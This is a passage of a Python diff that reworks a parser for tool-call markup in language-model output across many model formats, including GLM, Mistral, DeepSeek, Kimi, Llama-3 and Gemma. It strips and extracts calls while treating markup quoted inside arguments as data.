+_FUNC_CLOSE_TAG_RE = re.compile(r"</function>")
+
+
+def _strip_function_xml_calls(text: str, *, final: bool) -> str:
+    """Strip ``<function=...>`` calls by mirroring the parser: an opener inside an open ``<parameter>`` is data and each call closes at its first ``</function>`` that is not parameter data; ``final`` drops a trailing unclosed call."""
+    starts = [
+        m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start())
+    ]
+    if not starts:
+        return text
+    out: list[str] = []
+    pos = 0
+    for idx, m in enumerate(starts):
+        if m.start() < pos:
+            continue  # opener already inside a previously consumed call span
+        out.append(text[pos : m.start()])
+        next_start = starts[idx + 1].start() if idx + 1 < len(starts) else len(text)
+        close = None
+        for cm in _FUNC_CLOSE_TAG_RE.finditer(text, m.end(), next_start):
+            if not _inside_open_parameter(text, cm.start()):
+                close = cm  # first close that is not parameter data = the real close
+                break
+        if close is not None:
+            pos = close.end()
+        elif final:
+            pos = len(text)  # trailing unclosed call -- drop to EOF
+        else:
+            out.append(text[m.start() :])  # keep the unclosed call buffered mid-stream
+            pos = len(text)
+            break
+    out.append(text[pos:])
+    return "".join(out)
+
+
+def _glm_value_close(
+    text: str,
+    vs: int,
+    *,
+    strict: bool = False,
+) -> int:
+    """Index of the ``</arg_value>`` that really ends the GLM value at ``vs``: the
+    first one whose next non-space token is ``<arg_key>``, ``</tool_call>`` or
+    end-of-text AND that sits at balanced quote state (an embedded literal pair
+    like ``print("</arg_value></tool_call>")`` lives inside a still-open string).
+    Quote openers are contextual (single quote only after punctuation, so
+    apostrophes are prose; double quote also at word start), mirroring the Gemma
+    scanners. If no candidate balances, the first token-valid one wins -- except
+    in ``strict`` mode (Auto-Heal off), which refuses the in-quote fallback rather
+    than execute truncated arguments. Returns -1 if unclosed."""
+    n = len(text)
+    search = vs
+    first_candidate = -1
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    qpos = vs  # quote-state cursor; advanced incrementally to each candidate
+    while True:
+        ve = text.find(_GLM_ARG_VAL_CLOSE, search)
+        if ve < 0:
+            return -1 if strict else first_candidate
+        j = ve + len(_GLM_ARG_VAL_CLOSE)
+        while j < n and text[j] in " \t\r\n":
+            j += 1
+        if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j):
+            while qpos < ve:
+                ch = text[qpos]
+                if quote:
+                    if ch == "\\" and qpos + 1 < ve:
+                        qpos += 2
+                        continue
+                    if ch == quote:
+                        quote = ""
+                elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                    quote = ch
+                if not ch.isspace():
+                    prev = ch
+                prev_raw = ch
+                qpos += 1
+            if not quote:
+                return ve
+            if first_candidate < 0:
+                first_candidate = ve
+        search = ve + len(_GLM_ARG_VAL_CLOSE)
+
+
+def _strip_glm_calls(text: str, *, final: bool) -> str:
+    """Strip GLM 4.x calls by scanning to each call's REAL ``</tool_call>`` (the one
+    after the last consumed ``<arg_value>``, mirroring ``_parse_glm_tool_calls``), so
+    a literal ``</tool_call>`` inside a value is data. Qwen ``<tool_call>{json}`` has
+    no NAME token and is left to the regex arms. ``final`` drops a truncated call to
+    EOS; otherwise it stays buffered."""
+    out: list[str] = []
+    cursor = 0
+    n = len(text)
+    while True:
+        m = _GLM_TC_OPEN_RE.search(text, cursor)
+        if not m:
+            break
+        apos = m.end()
+        close = -1
+        while True:
+            ks = text.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = text.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = text.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < n and text[vstart] in " \t\r\n":
+                vstart += 1
+            if not text.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            ve = _glm_value_close(text, vs)
+            if ve < 0:
+                break  # unclosed <arg_value> -- truncated
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+        if close >= 0:
+            out.append(text[cursor : m.start()])
+            cursor = close + len(_GLM_TC_CLOSE)
+            continue
+        # Truncated GLM call (no real close yet).
+        if final:
+            out.append(text[cursor : m.start()])
+            cursor = n
+        # Non-final: leave the unclosed call (and any tail) buffered as-is.
+        break
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def strip_tool_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered;
+    ``final=True`` also drops trailing unclosed runs and trims.
+
+    ``enabled_tool_names`` gates the name-conditioned forms so a disabled/example name in
+    prose is kept (mirrors the parser gate): the bare reasoning-rehearsal ``name[ARGS]{...}``
+    and the markerless Gemma ``call:NAME{...}`` strip. ``None`` strips every closed call.
     """
-    pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in pats:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+    if final:
+        # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket
+        # form is not the ``<think>`` the reasoning channel renders.
+        text = _strip_mistral_reasoning(text)
+
+    def _strip_segment(segment: str, is_last: bool) -> str:
+        seg_final = final and is_last
+        seg = _strip_mistral_closed_calls(segment)
+        # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through
+        # the shared balanced scan, so strip them the same way (any nesting depth removed whole).
+        # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept.
+        seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if seg_final:
+            # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only.
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        # Scan-strip the function-XML form (parser-accurate: a literal ``<function=...>`` in a
+        # value is data, not a call); the regex arms below cover the other formats.
+        seg = _strip_function_xml_calls(seg, final = seg_final)
+        # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
+        # not a leak. Qwen <tool_call>{json} is left to the regex arms.
+        seg = _strip_glm_calls(seg, final = seg_final)
+        pats = _TOOL_ALL_PATS if seg_final else _TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if seg_final:
+            # Drop a trailing partial bare rehearsal (``name[ARGS]`` with a truncated or absent
+            # body) the balanced scan cannot close; gated so prose ``foo[ARGS] ...`` survives.
+            seg = _tool_healing.apply_tool_strip_patterns(
+                seg,
+                [_tool_healing._REHEARSAL_TAIL_STRIP_RE],
+                enabled_tool_names = enabled_tool_names,
+            )
+        return seg
+
+    # ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (a rehearsed call inside it is
+    # not executed, so it must not be stripped from display either); a literal think marker
+    # inside a real call's arguments is that call's data and is stripped with the call.
+    result = _tool_healing.strip_outside_think(text, _strip_segment)
+    return result.strip() if final else result
+
+
+def has_tool_signal(text: str) -> bool:
+    return any(s in text for s in TOOL_XML_SIGNALS)
+
+
+# A Qwen/Hermes ``<tool_call>``/``<function=...>`` envelope whose arguments carry literal
+# DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first
+# marker so the pre-pass skips it.
+_EMBEDDED_MARKER_RE = re.compile(
+    _DEEPSEEK_OPEN_RE_SRC + "|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN)
+)
+# Covers ``<function=NAME>`` and the attribute form. ``<|python_tag|>`` is Llama-3's
+# envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi
+# example is data; the call-shaped lookahead mirrors the ``_TOOL_ALL_PATS`` python_tag arm
+# so a bare prose ``<|python_tag|>`` mention isn't treated as one.
+_OUTER_ENVELOPE_OPEN_RE = re.compile(
+    r'<tool_call>|<function(?:=|\s+name=")|<\|tool_call>'
+    r"|<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\())"
+)
+# CLOSED outer envelopes, each spanning to its REAL final close so a literal
+# ``</tool_call>``/``</function>`` inside a value is data. Wrapped Gemma counts too.
+_OUTER_ENVELOPE_CLOSED_PATS = (
+    re.compile(r"<tool_call>(?:(?!<tool_call>).)*</tool_call>", re.DOTALL),
+    _TOOL_CLOSED_PATS[1],
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+)
+
+
+def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool:
+    first_marker = _EMBEDDED_MARKER_RE.search(content)
+    if first_marker is None:
+        return False
+    # A leading bare-JSON or Mistral [TOOL_CALLS] call is an outer envelope too:
+    # a DS/Kimi marker in its argument strings is data.
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if content.startswith("{", i):
+        end = _balanced_brace_end(content, i)
+        if end is not None and i < first_marker.start():
+            name = _top_level_bare_json_name(content[i : end + 1])
+            if name is not None and (enabled_tool_names is None or name in enabled_tool_names):
+                # The closed leading call owns the turn: a marker inside it is argument
+                # data, one after it a trailing example (same rule as the XML envelopes below).
+                return True
+            if name is not None and first_marker.start() <= end:
+                # A disabled-name leading object is prose (can't own the turn), but a marker
+                # inside its own strings stays data. A marker AFTER it falls through to the pre-pass.
+                return True
+    elif content.startswith(_MISTRAL_TRIGGER, i):
+        end = _mistral_region_end(content, i)
+        if end is not None and i < first_marker.start():
+            return True
+    # A closed outer call PRECEDING the first marker owns the turn; the pre-pass must
+    # not steal a trailing example or argument data.
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        m = _pat.search(content)
+        if m is not None and m.start() < first_marker.start():
+            return True
+    residue = content
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        residue = _pat.sub("", residue)
+    marker = _EMBEDDED_MARKER_RE.search(residue)
+    if marker is None:
+        return True
+    # A marker still stands; any opener left in the residue is UNCLOSED. One before the
+    # marker is a truncated outer call holding the marker as data: skip the pre-pass.
+    opener = _OUTER_ENVELOPE_OPEN_RE.search(residue)
+    return opener is not None and opener.start() < marker.start()
+
+
+def _mistral_region_end(text: str, idx: int) -> int | None:
+    """Exclusive end of the balanced ``[TOOL_CALLS]`` call starting at ``idx``,
+    or ``None`` when truncated/unrecognised (same shapes as the strip scan:
+    array, single-object, and named ``name [CALL_ID]? [ARGS]? {json}``)."""
+    n = len(text)
+    i = idx + len(_MISTRAL_TRIGGER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if i < n and text[i] == "[":
+        end = _balanced_bracket_end(text, i)
+        return None if end is None else end + 1
+    if i < n and text[i] == "{":
+        end = _balanced_brace_end(text, i)
+        return None if end is None else end + 1
+    name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+    if not name_match:
+        return None
+    i = name_match.end()
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    i = _skip_mistral_call_id(text, i)
+    if text.startswith(_MISTRAL_ARGS_MARKER, i):
+        i += len(_MISTRAL_ARGS_MARKER)
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+    if i >= n or text[i] != "{":
+        return None
+    end = _balanced_brace_end(text, i)
+    return None if end is None else end + 1
+
+
+def _xml_signal_inside_leading_mistral(content: str) -> bool:
+    """True when a parseable Mistral call is the first tool emission in document order: it owns the turn, so later XML (quoted in its arguments or in trailing prose) is not promoted over it. A signal BEFORE the trigger keeps normal order."""
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig < 0:
+        return False
+    first_xml = _first_foreign_tool_signal(content)
+    if first_xml is not None and first_xml < trig:
+        return False
+    # Only plain prose precedes the trigger: a visible preface must not hand
+    # the turn to a later XML literal (preamble-tolerant, like the
+    # wrapperless-Gemma guard). Prose that merely mentions the marker has no
+    # parseable region and keeps the normal order.
+    return _mistral_region_end(content, trig) is not None
+
+
+def _parse_bare_rehearsals(
+    content: str,
+    *,
+    id_offset: int = 0,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Promote bare reasoning-rehearsal ``name[ARGS]{json}`` calls that a leading [TOOL_CALLS]
+    owns-the-turn parse would miss. Only the ``rehearsal`` kind is taken (a Mistral
+    ``[TOOL_CALLS]name[ARGS]{..}`` yields ``name`` and is not double-counted), and a rehearsal
+    inside a ``<think>`` / ``[THINK]`` block is reasoning, so it is skipped."""
+    out: list[dict] = []
+    think_spans = _tool_healing._think_spans_outside_tool_markup(content)
+    for start, end, kind, m in _tool_healing._iter_bracket_spans(
+        content, enabled_tool_names = enabled_tool_names
+    ):
+        if kind != "rehearsal":
+            continue
+        if any(s <= start < e for s, e in think_spans):
+            continue
+        try:
+            payload = json.loads(content[m.end() : end])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        if not isinstance(payload, dict):
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": m.group(1), "arguments": json.dumps(payload)},
+            }
+        )
+    return out
+
+
+_ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
+
+
+def _first_foreign_tool_signal(content: str) -> int | None:
+    """Offset of the first tool signal a non-envelope parser would fire on
+    (XML forms plus ``<|python_tag|>``, which also runs before the Mistral parser)."""
+    first = None
+    for sig in ("<tool_call>", "<|tool_call>", "<function=", "<|python_tag|>"):
+        p = content.find(sig)
+        if p >= 0 and (first is None or p < first):
+            first = p
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None and (first is None or attr.start() < first):
+        first = attr.start()
+    # DeepSeek/Kimi markers are foreign to a JSON envelope too: a marker inside a leading
+    # object routes through the same guard (and, if disabled, the drop-and-parse-the-tail
+    # recursion, so a real call after the object is still reached).
+    marker = _EMBEDDED_MARKER_RE.search(content)
+    if marker is not None and (first is None or marker.start() < first):
+        first = marker.start()
+    return first
+
+
+def _xml_signal_inside_leading_bare_json(content: str) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside a
+    LEADING bare-JSON call object or JSON answer -- data, not a real call
+    (sibling of ``_xml_signal_inside_leading_mistral``)."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if i >= n or content[i] not in "{[":
+        return False
+    if content[i] == "[":
+        # A leading array is only ever a structured answer; its literals are data.
+        end = _balanced_bracket_end(content, i)
+        if end is None:
+            return False
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+        first_xml = _first_foreign_tool_signal(content)
+        trig = content.find(_MISTRAL_TRIGGER)
+        if trig >= 0 and (first_xml is None or trig < first_xml):
+            first_xml = trig
+        return first_xml is not None and i < first_xml < end
+    end = _balanced_brace_end(content, i)
+    if end is None:
+        return False
+    if _top_level_bare_json_name(content[i : end + 1]) is None:
+        # A NAMELESS object that parses as real JSON is a structured answer / envelope too:
+        # quoted markup is data, and the decline path drops it and parses the tail.
+        # Non-JSON braced prose keeps the old behaviour.
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+    first_xml = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a JSON envelope too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first_xml is None or trig < first_xml):
+        first_xml = trig
+    # Inside the balanced body the signal is quoted data; after the closed object the
+    # leading call still owns the turn (mirrors the leading-Mistral rule).
+    return first_xml is not None and i < first_xml
+
+
+def _signal_inside_leading_wrapperless_gemma(
+    content: str, enabled_tool_names: Optional[set]
+) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside (or
+    after) a LEADING enabled wrapper-less Gemma call (sibling of the
+    Mistral/bare-JSON leading guards). Markerless form, so gated on an enabled
+    name (``None`` keeps the name-agnostic behaviour)."""
+    first = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a Gemma call too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return False
+    # A preamble before ``call:NAME{...}`` is normal; what matters is an ENABLED balanced
+    # call beginning before the first foreign signal.
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return False
+        if enabled_tool_names is not None and m.group(1) not in enabled_tool_names:
+            cursor = m.end()
+            continue
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            return False
+        if m.end() - 1 < first <= end:
+            return True
+        # An enabled call that CLOSES before the signal still owns the turn (inside-or-after
+        # rule, as for closed bare-JSON/Mistral envelopes), gated on an enabled name.
+        return enabled_tool_names is not None and end < first
+
+
+def _disabled_gemma_call_end_containing_signal(
+    content: str, enabled_tool_names: Optional[set]
+) -> int | None:
+    """End offset (exclusive) of the earliest DISABLED wrapper-less Gemma call
+    whose balanced body contains the first foreign signal, else None. A disabled
+    name is prose, so the quoted literal is data: the caller drops the span and
+    recurses on the tail. An ENABLED call defers to the enabled-call guard."""
+    if enabled_tool_names is None:
+        return None
+    first = _first_foreign_tool_signal(content)
+    # Mirror the enabled-call guard: the Mistral trigger is foreign here too.
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return None
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return None
+        if m.group(1) in enabled_tool_names:
+            return None
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            cursor = m.end()
+            continue
+        if m.end() - 1 < first <= end:
+            return end + 1
+        cursor = end + 1
 
 
 def parse_tool_calls_from_text(
@@ -116,157 +948,1829 @@ def parse_tool_calls_from_text(
     *,
     id_offset: int = 0,
     allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
 ) -> list[dict]:
-    """Parse OpenAI-format ``tool_calls`` from model text.
+    """Return OpenAI-format tool calls, first-match wins so calls are never double-counted.
 
-    Returns a list of ``{"id", "type", "function": {"name", "arguments"}}``
-    dicts. ``arguments`` is always a JSON string so callers can hand it
-    straight back into an OpenAI-style response.
+    ``allow_incomplete=True`` (default) heals truncated calls (missing close tag /
+    unclosed parameter); ``False`` accepts only well-formed closed calls (trailing
+    prose tolerated), matching llama-server's strict path when Auto-Heal is off.
 
-    Handles two shapes:
+    ``enabled_tool_names`` gates only the markerless Llama-3.2 bare-JSON form (the
+    marker-based forms carry an explicit signal, so a disabled-tool name there is a
+    real call attempt). ``None`` keeps the name-agnostic behaviour."""
+    # Drop Magistral [THINK]...[/THINK] BEFORE dispatch: a rehearsed call inside it must
+    # never be promoted, and the parse path must agree with the display strip.
+    content = _strip_mistral_reasoning(content)
 
-    - JSON inside ``<tool_call>`` tags:
-      ``<tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>``
-    - XML-style function blocks:
-      ``<function=name><parameter=k>v</parameter></function>``
+    # A leading bare-JSON value is decided FIRST: a string argument quoting tool markup
+    # (XML or a Mistral trigger) must stay data, so the bare-JSON parser takes the outer
+    # call before any other pass. Precedes the Mistral guard, whose preamble tolerance
+    # would otherwise claim a trigger quoted inside the leading object.
+    if _xml_signal_inside_leading_bare_json(content):
+        calls = _parse_llama3_bare_json(
+            content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+        )
+        if calls:
+            return calls
+        # Disabled/example name: the leading object is content. Drop it and parse the tail.
+        i = 0
+        while i < len(content) and content[i] in " \t\n\r":
+            i += 1
+        # The guard guarantees a balanced leading value (object or array).
+        end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i)
+        return parse_tool_calls_from_text(
+            content[end + 1 :],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
 
-    ``allow_incomplete=True`` keeps the historical healing behavior for
-    missing closing tags. ``allow_incomplete=False`` accepts only
-    well-formed wrappers so disabled Auto-Heal can still parse valid
-    local tool protocol without repairing truncated output.
-    """
-    tool_calls: list[dict] = []
+    # A leading enabled wrapper-less Gemma call is decided BEFORE the Mistral guard: its
+    # body reads as prose to the preamble tolerance below, so a quoted [TOOL_CALLS] would
+    # otherwise steal the turn.
+    if _signal_inside_leading_wrapperless_gemma(content, enabled_tool_names):
+        calls = _parse_gemma_tool_calls(
+            content,
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+        if calls:
+            return calls
 
-    # Pattern 1: <tool_call>{json}. Balanced-brace scan, skipping braces in
-    # JSON strings.
+    # A DISABLED wrapper-less Gemma call is prose: drop the span and parse the tail BEFORE
+    # the Mistral guard, whose preamble tolerance would otherwise parse a quoted trigger.
+    _prose_end = _disabled_gemma_call_end_containing_signal(content, enabled_tool_names)
+    if _prose_end is not None:
+        return parse_tool_calls_from_text(
+            content[_prose_end:],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its
+    # arguments or trailing prose is not promoted over it, nor does a prose preface forfeit it.
+    if _xml_signal_inside_leading_mistral(content):
+        calls = _parse_mistral_tool_calls(
+            content, id_offset = id_offset, allow_incomplete = allow_incomplete
+        )
+        if calls:
+            # A bare rehearsal ``name[ARGS]{..}`` after the Mistral call is a peer tool call,
+            # not foreign XML the owns-the-turn guard protects against: promote it too so a
+            # Mistral call and a rehearsal in one message both parse.
+            calls.extend(
+                _parse_bare_rehearsals(
+                    content,
+                    id_offset = id_offset + len(calls),
+                    enabled_tool_names = enabled_tool_names,
+                )
+            )
+            return calls
+
+    # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope
+    # opens before the first marker (then the marker is argument data).
+    if not _marker_inside_leading_envelope(content, enabled_tool_names):
+        # Dispatch by earliest opener so a quoted DS example inside a Kimi call (or vice
+        # versa) can't hijack the turn via fixed parser order.
+        _ds = _DEEPSEEK_BEGIN_RE.search(content)
+        _ds_pos = _ds.start() if _ds else len(content)
+        _km_section = content.find(_KIMI_SECTION_BEGIN)
+        _km_bare = content.find(_KIMI_CALL_BEGIN)
+        _km_pos = min(p for p in (_km_section, _km_bare, len(content)) if p >= 0)
+        pre_pass = [
+            (_ds_pos, _parse_deepseek_tool_calls),
+            (_km_pos, _parse_kimi_tool_calls),
+        ]
+        pre_pass.sort(key = lambda pair: pair[0])
+        for _pos, parser in pre_pass:
+            calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+            if calls:
+                return calls
+
+    # A leading MiniCPM/MiniMax attribute-form call owns the turn: tool_healing doesn't know
+    # the <function name="..."> wrapper, so a <tool_call> quoted in its parameter would beat
+    # the outer call. Any earlier signal keeps normal order.
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None:
+        first_other = None
+        for sig in (
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            _MISTRAL_TRIGGER,
+        ):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        if first_other is None or attr.start() < first_other:
+            calls = _parse_function_xml(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # A leading Llama-3 ``<|python_tag|>`` call owns the turn like the others: markup quoted
+    # in a ``.call(...)`` argument is not promoted. tool_healing does not know the tag, so
+    # gate it here. A foreign signal before the tag keeps normal order.
+    py_tag = content.find(_LLAMA3_PYTHON_TAG)
+    if py_tag >= 0:
+        first_other = None
+        for sig in ("<tool_call>", "<|tool_call>", "<function=", _MISTRAL_TRIGGER):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        attr = _ATTR_FUNC_OPEN_RE.search(content)
+        if attr is not None and (first_other is None or attr.start() < first_other):
+            first_other = attr.start()
+        if first_other is None or py_tag < first_other:
+            calls = _parse_llama3_python_tag(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # Qwen/Hermes, Qwen3.5 XML, Gemma 4, plus Mistral [TOOL_CALLS] / bare rehearsal
+    # ``name[ARGS]{json}`` use the shared tool_healing parser (strict/Auto-Heal contract +
+    # nested-marker, trailing-prose, and ``<|"|>`` quoted-string handling the GGUF path
+    # relies on). ``enabled_tool_names`` gates the ambiguous bare-rehearsal form so an
+    # inactive ``foo[ARGS]{..}`` stays prose.
+    calls = _tool_healing.parse_tool_calls_from_text(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
+    if calls:
+        return calls
+
+    # Formats tool_healing does not cover; these run only after it finds
+    # nothing, so a strict-rejected call is never re-healed here. Blank any
+    # JSON/Gemma marker coverage first: markup inside a marker's span (even one
+    # that failed to parse) is that call's data, not a sibling, so a nested
+    # ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
+    fallback_content = content
+    coverage = _tool_healing.marker_coverage(content)
+    if coverage:
+        chars = list(content)
+        for cov_start, cov_end in coverage:
+            for i in range(cov_start, min(cov_end, len(chars))):
+                chars[i] = " "
+        fallback_content = "".join(chars)
+    for parser in (
+        _parse_glm_tool_calls,  # GLM 4.x <tool_call>name
+        _parse_function_xml,  # <function name="..."> attribute form
+        _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
+        _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
+    ):
+        calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+        if calls:
+            return calls
+
+    # Llama-3.2 bare ``{"name":..., "parameters":...}`` (strict shape). Only a LEADING call
+    # object matches and owns the turn, so an enabled ``call:NAME{...}`` in its arguments
+    # stays data (Gemma never starts ``{``).
+    calls = _parse_llama3_bare_json(
+        content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+    )
+    if calls:
+        return calls
+
+    # Gemma wrapper-less ``call:NAME{...}``: markerless, so the same enabled-name gate applies.
+    return _parse_gemma_tool_calls(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
+
+
+def _parse_tool_call_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
     for m in _TC_JSON_START_RE.finditer(content):
-        brace_start = m.end() - 1  # opening {
-        depth, i = 0, brace_start
-        in_string = False
-        while i < len(content):
-            ch = content[i]
-            if in_string:
-                if ch == "\\" and i + 1 < len(content):
-                    i += 2
+        brace_start = m.end() - 1
+        end = _balanced_brace_end(content, brace_start)
+        if end is None:
+            continue
+        # Strict mode: a balanced JSON body that never closed its ``<tool_call>``
+        # is a truncated call, not a finished one. Trailing prose after the close
+        # is still tolerated (matches the GGUF strict path).
+        if not allow_incomplete and not content[end + 1 :].lstrip().startswith("</tool_call>"):
+            continue
+        try:
+            obj = json.loads(content[brace_start : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        name = obj.get("name", "")
+        # Accept ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
+        args = obj.get("arguments")
+        if args is None:
+            args = obj.get("parameters", {})
+        if isinstance(args, dict):
+            args_str = json.dumps(args)
+        elif isinstance(args, str):
+            args_str = args
+        else:
+            args_str = json.dumps({"value": args})
+        if not name:
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+    return out
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim one wrapping newline the template adds around an XML parameter value
+    (``<parameter=k>\nVALUE\n</parameter>``), preserving inner indentation.
+    ``str.strip()`` destroyed code/diff indentation; SGLang's qwen3_coder trims only
+    the wrapping newline."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _inside_open_parameter(text: str, pos: int) -> bool:
+    """True if ``pos`` sits inside an unclosed ``<parameter>``/``<param>`` block --
+    i.e. a ``<function>`` / ``<parameter>`` opener at ``pos`` is a literal inside an
+    argument value (e.g. code that prints tool-call XML), not a real nested call.
+    Compares the last parameter opener before ``pos`` against the last
+    parameter/function close before it."""
+    last_param_open = -1
+    for m in _TC_PARAM_START_RE.finditer(text, 0, pos):
+        last_param_open = m.start()
+    if last_param_open < 0:
+        return False
+    # The parameter's OWN close tag decides: while it closes after ``pos`` the position is
+    # argument data, even across several literal function closes. Only an unclosed
+    # parameter (heal mode) falls back to the first function close.
+    own_closes = [
+        c
+        for c in (
+            text.find("</parameter>", last_param_open),
+            text.find("</param>", last_param_open),
+        )
+        if c >= 0
+    ]
+    if own_closes:
+        return min(own_closes) > pos
+    func_closes = [
+        c
+        for c in (
+            text.find("</function>", last_param_open),
+            text.find("</tool_call>", last_param_open),
+        )
+        if c >= 0
+    ]
+    return not func_closes or pos < min(func_closes)
+
+
+def _parse_function_xml(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    # Skip ``<function ...>`` openers that are literals inside an open parameter value,
+    # else the nested marker is promoted to a second call and truncates the real argument.
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+    ]
+    for idx, fm in enumerate(func_starts):
+        # group(1) is ``<function=name>``, group(2) is ``<function name="...">``.
+        func_name = fm.group(1) or fm.group(2)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
